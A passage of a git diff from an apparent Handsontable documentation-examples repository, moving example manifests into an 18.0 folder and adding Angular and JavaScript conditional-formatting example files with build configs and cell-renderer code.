3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/undo-redo/vue/example.vue","breadcrumb":["Accessories And Menus","Undo and redo"],"guide":"guides/accessories-and-menus/undo-redo/undo-redo.md","guideTitle":"Undo and redo","exampleId":"example","exampleTitle":"Basic demo","docPermalink":"/undo-redo","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__autofill-values__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__autofill-values__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__clipboard__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__clipboard__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-features__comments__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__comments__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__angular__example1.ts.json new file mode 100644 index 00000000..4e52fe19 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Conditional formatting · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\nconst firstRowRenderer = (\n instance: Handsontable,\n td: HTMLTableCellElement,\n row: number,\n col: number,\n prop: string | number,\n value: Handsontable.CellValue,\n cellProperties: Handsontable.CellProperties\n) => {\n textRenderer(\n instance,\n td,\n row,\n col,\n prop,\n value,\n cellProperties\n );\n td.style.fontWeight = 'bold';\n td.style.color = 'green';\n td.style.background = '#CEC';\n};\n\nconst negativeValueRenderer = (\n instance: Handsontable,\n td: HTMLTableCellElement,\n row: number,\n col: number,\n prop: string | number,\n value: Handsontable.CellValue,\n cellProperties: Handsontable.CellProperties\n) => {\n textRenderer(\n instance,\n td,\n row,\n col,\n prop,\n value,\n cellProperties\n );\n\n // if the row contains a negative number\n if (parseInt(value as string, 10) < 0) {\n td.style.color = '#FF5A12';\n }\n\n if (!value || value === '') {\n td.style.background = 'rgb(238, 238, 238, 0.4)';\n } else {\n if (instance.getDataAtCell(0, col) === 'Nissan') {\n td.style.fontStyle = 'italic';\n }\n\n td.style.background = '';\n }\n};\n\n// maps function to a lookup string\nregisterRenderer('negativeValueRenderer', negativeValueRenderer);\n\n@Component({\n selector: 'example1-conditional-formatting',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', -5, '', 12, 13],\n ['2018', '', -11, 14, 13],\n ['2019', '', 15, -12, 'readOnly'],\n ];\n\n readonly gridSettings: GridSettings = {\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n afterSelection: function (this: Handsontable, _row: number, _col: number, row2: number, col2: number) {\n const meta = this.getCellMeta(row2, col2);\n\n if (meta['readOnly']) {\n this.updateSettings({\n fillHandle: false,\n });\n } else {\n this.updateSettings({\n fillHandle: true,\n });\n }\n },\n cells: function (row: number, col: number) {\n const cellProperties: Handsontable.CellMeta = {};\n const data = (this as any).instance.getData();\n\n if (row === 0 || (data[row] && data[row][col] === 'readOnly')) {\n cellProperties['readOnly'] = true; // make cell read-only if it is first row or the text reads 'readOnly'\n }\n\n if (row === 0) {\n cellProperties['renderer'] = firstRowRenderer;\n } else {\n cellProperties['renderer'] = 'negativeValueRenderer';\n }\n\n return cellProperties;\n }\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/conditional-formatting/angular/example1.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__javascript__example1.js.json new file mode 100644 index 00000000..513c3236 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Features ▸ Conditional formatting · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\nimport { registerRenderer } from 'handsontable/renderers';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', -5, '', 12, 13],\n ['2018', '', -11, 14, 13],\n ['2019', '', 15, -12, 'readOnly'],\n];\n\nconst firstRowRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.fontWeight = 'bold';\n td.style.color = 'green';\n td.style.background = '#CEC';\n};\n\nconst negativeValueRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n // if the row contains a negative number\n if (parseInt(value, 10) < 0) {\n // add class 'make-me-red'\n td.className = 'make-me-red';\n }\n\n if (!value || value === '') {\n td.style.background = 'rgb(238, 238, 238, 0.4)';\n } else {\n if (instance.getDataAtCell(0, col) === 'Nissan') {\n td.style.fontStyle = 'italic';\n }\n\n td.style.background = '';\n }\n};\n\n// maps function to a lookup string\nregisterRenderer('negativeValueRenderer', negativeValueRenderer);\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n afterSelection(_row, _col, row2, col2) {\n const meta = this.getCellMeta(row2, col2);\n\n if (meta.readOnly) {\n this.updateSettings({\n fillHandle: false,\n });\n } else {\n this.updateSettings({\n fillHandle: true,\n });\n }\n },\n cells(row, col) {\n const cellProperties = {};\n const data = this.instance.getData();\n\n if (row === 0 || (data[row] && data[row][col] === 'readOnly')) {\n cellProperties.readOnly = true; // make cell read-only if it is first row or the text reads 'readOnly'\n }\n\n if (row === 0) {\n cellProperties.renderer = firstRowRenderer; // uses function directly\n } else {\n cellProperties.renderer = 'negativeValueRenderer'; // uses lookup map\n }\n\n return cellProperties;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".make-me-red {\n color: #FF5A12 !important;\n}"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example1.js","breadcrumb":["Cell Features","Conditional 